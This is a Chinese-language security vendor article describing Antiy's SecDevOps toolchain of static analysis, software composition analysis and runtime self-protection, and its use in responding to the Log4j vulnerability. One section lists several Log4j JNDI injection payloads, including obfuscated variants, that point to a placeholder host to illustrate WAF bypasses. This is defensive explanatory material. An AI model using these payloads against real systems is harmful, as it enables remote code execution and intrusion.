冬训营丨基于安全开发响应Log4j
时间 : 2022年01月27日 来源: 安天
1.内部SecDevOps实践分享
通过构建安全工具链对SecDevOps框架的实践尝试。
1.1 引入
伴随着DevOps在各大公司内的快速发展,保障安全开发的技术和框架也在不断演化发展,而其中一个重要的框架就是SecDevOps,它完全遵循了DevOps的思想,将安全无缝集成到其中,使之升级成为SecDevOps。
1.2 什么是SecDevOps
SecDevOps是Security、Development和Operations 的组合词,即安全研发运营一体化。
其核心思想是将安全嵌入到 DevOps的流程中,强调安全需要贯穿从开发到运营整个软件生命周期的每个环节,其核心是在不牺牲安全性的前提下,快速和规模地交付软件产品。
1.3 构建工具链是SecDevOps的核心
提升开发人员的安全意识和安全开发能力固然是一项重要的工作,但是安全本身也确实会减缓开发的速度,因此如何能够“无缝”、“无感知”地将安全要求和安全能力融合到DevOps过程中来,如何让安全赋能从而让整个组织既能够享受DevOps带来的好处又能够较好的管控安全风险变成是一个重要问题。
而为了能够“无缝”、“无感知”将安全能力嵌入至现有DevOps开发流程中,一套自动化的安全工具链就显得尤为重要。
图1 SecDevOps构建工具链内部实践
上图左侧是源码安全扫描套件AntiySCS,其包含用于源代码扫描的白盒测试工具 应用静态安全检测AntiySAST,以及用于确定软件中所用组件和库的来源,并识别是否存在已知漏洞的软件组成分析AntiySCA。
该套件用于实践“安全左移”思想,更多的关注研发流程的“左”边,即在更早的环节中进行安全介入和管控。
右侧在检测和响应部分,除了传统的流量安全设备如WAF、探海,我们还提供了基于运行时自我保护技术的应用威胁自免疫AntiyRASP,通过两者的互补性结合可以为应用提供更完善的安全防护、监控与分析能力。
在预防阶段,我们提供了容器镜像安全扫描工具,分析容器镜像中的安全风险。
基于灰盒扫描的应用交互式测试工具IAST,尚在开发阶段,未来也会从属于源码安全扫描套件中。
2.源码安全扫描套件 AntiySCS
将应用静态安全检测AntiySAST、软件组成分析AntiySCA二者集成至DevOps流水线。
2.1 源码安全扫描套件其一:应用静态安全检测 AntiySAST
相比于上线后,通过各类黑盒众测,亡羊补牢地发现漏洞并修复,如果能在开发期间就发现漏洞,并将问题扼制在源头,将使修复难度、成本大幅下降。这也是在实践SecDevOps流程中,核心的关键点之一:安全左移。
实践安全左移(也即:代码原生安全)的方式,除了增强安全意识教育、安全框架的引入等,更需要AST(Application Security Testing)应用安全测试类工具在SecDevOps中的使用。而AST工具中最基础的就是基于白盒的静态应用安全测试工具SAST(Static Application Security Test)。
SAST工具不需要运行目标应用程序,因此可以在开发生命周期的早期使用,因为修复成本很低。
AntiySAST目前可检出的安全风险类型,包含了OWASP、CWE中常见的漏洞分类,除此之外我们还扩充了的一套安全风险规则库,帮助开发者避免使用废弃函数、不安全加密等可能的安全风险。
AntiySAST目前支持Java、Python的检测,使用的主要检测技术包含正则匹配、AST(抽象语法树)语法分析、静态污点分析技术。
图2 AntiySAST扫描结果截图
再谈及SAST工具的一个难以绕过的问题,就是误报率问题。
误报率高是传统SDL流程中SAST类工具的一大痛点,一方面我们在降低误报率上做出了很多努力,效果显著,另一方面在实际的SecDevOps实践中,较短的CI间隔使得误报率问题对开发人员造成的负担有所降低。因为扫描结果是增量迭代的。少量多次的增量内容能让开发人员更好进行针对性研判、修复,并能感知开发过程中的安全风险变化。
2.2 源码安全扫描套件其二:软件组成分析 AntiySCA
保障供应链安全的痛点
我们常会遇到这样的问题,如何快速自查资产的依赖版本是否在受影响清单中?或者该升级到哪个版本?是否存在间接依赖导致修复不完整的情况?
即使运维人员能够在某个时刻保证所有依赖版本的安全性,但随着新依赖的增加,或更多安全补丁的引入,运维人员又需要重新进行依赖安全的评估。而一个中小型项目的依赖数量能达到近百个,这无疑加大了运维人员的负担。
AntiySCA介绍
为了解决上述的几个常见问题,自动化的软件组成分析工具在SecDevOps流程中的引入必不可少。
AntiySCA是一种针对源码工程或者二进制可执行文件的成分分析工具,它可以识别代码库中的开源软件及其对应的历史漏洞信息,并提供修复建议。SCA能够替代繁重的人工步骤,在开发阶段及时阻断不安全的组件,从而防止来自供应链的污染。
图3 单元检测结果
上图为某真实案例的依赖扫描结果。
AntiySCA目前支持多种语言依赖的扫描,包括C/C++、Java、Golang、JavaScript、Node、Python、PHP、Ruby、Rust。
AntiySCA主要优势有以下两点:
能识别出不安全的间接依赖;
能识别出二进制可执行文件、安卓应用程序、IOT固件中的不安全组件。
2.3 源码安全扫描套件 AntiySCS
集成了AntiySCA和AntiySAST,能够旁路接入现有的CI/CD流水线,降低了部署成本。
安全如果能够无感知,就能在开发流程中让开发人员本身实现大部分的安全需求,同时减少因沟通产生的矛盾,极大提升开发效率。通过使开发安全工具变得易用,让开发人员自己可以快速解决各种开发环境中存在的问题,最终最小化安全对开发产生的影响。形成了将安全作为日常的文化,才能让安全融入到开发的各个环节,才能做到持续安全。
图4 源码安全扫描套件扫描流程示意图
图5 源码安全扫描套件 AntiySCS 全局视图
通过AntiySCS的全局视图,可以在时间范围、项目两种筛选维度进行筛选,统计视图中,包含了各等级漏洞统计趋势图、风险分布图、出现最多的漏洞信息等。
3.应用威胁自免疫AntiyRASP
传统流量安全设备与运行时自我保护技术配合起来相得益彰
RASP是什么技术
• RASP全称运行时自我保护技术(Runtime application self-protection)。
• RASP通过挂钩(HOOK)技术将防御能力内嵌至应用本身,将安全校验遍布整个请求的业务响应流程中,保证各关键功能函数执行前(如:反序列化前、文件操作前)不被恶意参数污染。
图6 RASP防御方式展示图
以一个比喻来通俗的解释,以WAF为代表的应用外的安全措施,就像是戴口罩,将攻击请求拦截在应用外部,而RASP就像是打疫苗,为应用自身提供防御能力。
AntiyRASP目前支持Java语言的防护,Python、PHP、Golang语言的防护能力尚在开发当中。
AntiyRASP的检测能力覆盖了大部分的OWASP TOP 10漏洞,包括不安全的反序列化、敏感数据泄露、SSRF、XXE漏洞、SQL注入、命令注入、敏感数据泄露等。
WAF与RASP配合起来相得益彰
互补性分析 |
应用威胁自免疫(AntiyRASP) |
以WAF为代表的流量检测安全设备 |
检测范围 |
只有触发了业务系统中的漏洞,应用自身即将出现异常行为前,才会进行记录或拦截。无法记录攻击尝试的行为,但单条告警价值更高。 |
告警丰富,在信息收集、攻击尝试阶段,就可以发现攻击者。 |
变形绕过/加密请求 |
对于恶意变形Payload或者加密请求,在经过功能函数前,会还原或解密为格式化的攻击Payload,并在此处进行识别与拦截。 |
需要在误报与检出率间取得一个平衡,难以兼得。加密请求识别需要定制化。 |
性能要求 |
对应用会造成一定的性能消耗 |
不影响应用自身性能。 |
告警信息 |
告警中包含完整的用户输入 、请求信息、漏洞信息、格式化的恶意Payload、瞬时堆栈信息。 |
包含请求信息和响应信息,因成本考虑可能存在截断情况。但可进行多请求的关联分析。 |
这里的加密请求包含HTTPS请求和应用自加密的请求(如:通过RSA、AES算法对数据包进行加密)
4.响应Log4j 漏洞
模拟遭遇Log4j 漏洞后,通过上述工具进行响应实践。
4.1 Log4j漏洞简单介绍
Apache Log4j2远程代码执行漏洞的爆发引起了整个IT/互联网行业的积极关注。漏洞的爆发也导致了包括苹果、百度、特斯拉等各大巨头公司的业务受到了不同程度的影响。
之所以造成如此巨大的影响,一方面是因为Log4j漏洞的利用简单,另一方面是Log4j组件自身的使用非常广泛。即使业务系统没有直接依赖于它,但包含Spring、Elasticsearch,Struts2等在内的网络基础设施组件都有依赖于Log4j。
攻击载荷及变形举例
• ${jndi:ldap://evil.com/poc}
• ${jndi:ldap://evil.com/ poc}
• ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://evil.com/poc}
• ${${lower:jNd}i:${upper:lda}p://evil.com/poc}
对于事前预防常规采取WAF、IDS等基于流量检测的技术,但本次Log4j漏洞的响应过程中,基于规则的匹配算法具有滞后性,难以在漏洞公开前达到较好的防御效果。除此之外因JNDI协议本身的复杂性,出现了包括“拆分关键字”、“增加空格”等多种绕过方式,我们可以发现普通的攻击载荷与恶意变形的载荷的形式上有较大区别,因此仅通过攻击者有限的请求信息进行匹配,可能会因为规则过宽而导致大量误报的产生,但过于严谨的规则又可能被攻击者绕过,难以达到平衡。
4.2 针对Log4j漏洞披露前,工具链如何保障应用不受侵害
针对上述所说的问题,我们推荐事前预防使用RASP与WAF、NDR类设备的共同配合,以在漏洞公开前就达到一个较好防护效果。
首先应用威胁自免疫AntiyRASP可以对远程命令执行的提供一个较为全面的防御,应用遭遇Log4j 漏洞攻击后,在即将执行系统命令时,AntiyRASP会使用一系列防御算法进行检测。对Log4j漏洞有较好防御效果的有如下四种:“调用栈检测算法”、“危险命令拦截算法”、“命令注入检测算法”、“命令执行全拦截”。
以“调用栈检测算法”为例,算法会收集当前程序的实时调用堆栈,并检测其是否由JNDI、Fastjson等特殊框架触发;当检测到Log4j 漏洞使用的JNDI的框架,会抛出安全异常,停止应用的业务响应流程,并将攻击者导向预定的拦截页面。
运维人员收到报警后,在控制台的报警详情中,可以获取到报警时间、报警详情、报警原因,即将要执行的命令,以及执行命令前的应用堆栈信息。开发人员通过应用堆栈信息,可以定位到该漏洞的执行链信息,方便后续定位漏洞产生原因;实际上该算法不仅应用于命令执行检测当中,当应用进行文件操作、读取目录操作也会检测其实时调用堆栈。
但在Log4j漏洞披露前,AntiyRASP还是有所不足,此时尚无算法可以拦截DNSlog探测,以及外带数据。但通过WAF、NDR类产品如:探海,依靠庞大的威胁情报库,可拦截常见的DNSlog探测,并在攻击者进行尝试时就及时封禁攻击者IP地址。
4.3 Log4j 漏洞披露后,工具链持续响应
应用威胁自免疫 (AntiyRASP) 新增检测算法
■ “JNDI协议检测算法”,开启后,将不限制于命令执行的操作,在应用即将使用JNDI协议进行请求时,默认进行拦截。
■ “DNS查询检测算法”,开启后,可记录应用发起的所有的DNS查询,对常见的DNSlog域名进行匹配拦截。
应用静态安全检测(AntiySAST)添加了新的污点传播规则
帮助开发者尝试发现代码中是否存在于类似的漏洞。
软件组成分析(AntiySCA )增加Log4j漏洞信息(CVE-2021-44228)
■ 影响面确认:通过自动化的SCA扫描,确认公司是否受到影响,以及那些资产受影响。
■ 风险同步:邮件通知到对应的资产责任人,将漏洞可能造成的影响、官方的解决方案或缓解措施给到资产责任人。
■ 持续跟踪:在SecDevOps流水线中,持续同步漏洞的最新进展。
如下图所示,通过AntiySCA,可以发现由间接依赖所导致的供应链威胁
图7 AntiySCA扫描项目发现其依赖的Elasticsearch的依赖中包含了低版本的log4j风险依赖
5.总结
5.1 安天SecDevOps工具链一览
工具名称 |
主要功能 |
执行阶段 |
解决的问题 |
应用威胁自免疫 (AntiyRASP) |
为应用提供运行时行为防御 |
运行时 (检测、响应阶段) |
0day漏洞防御、兜底 |
软件组成分析 (AntiySCA) |
分析业务中开源组件的风险漏洞 |
代码提交后 (验证阶段) |
解决项目中1-day、Nday漏洞 |
应用静态安全检测(AntiySAST) |
基于静态污点扫描的白盒扫描工具 |
开发中、代码提交后 (创建、验证阶段) |
解决项目自身安全隐患 |
源码安全扫描套件
(AntiySCS) |
将安全工具链集成至SecDevOps流程中 |
代码提交后 (创建、验证、预发布阶段) |
降低集成成本、提供监控与分析、持续安全 |
5.2 SaaS化版本试用
用户可以通过安天垂直响应平台(vs.antiy.cn)获取试用下面两个产品的SaaS版本。
SecDevOps工具链,真诚地希望能得到更多宝贵的用户反馈与建议。
图8 安天垂直响应平台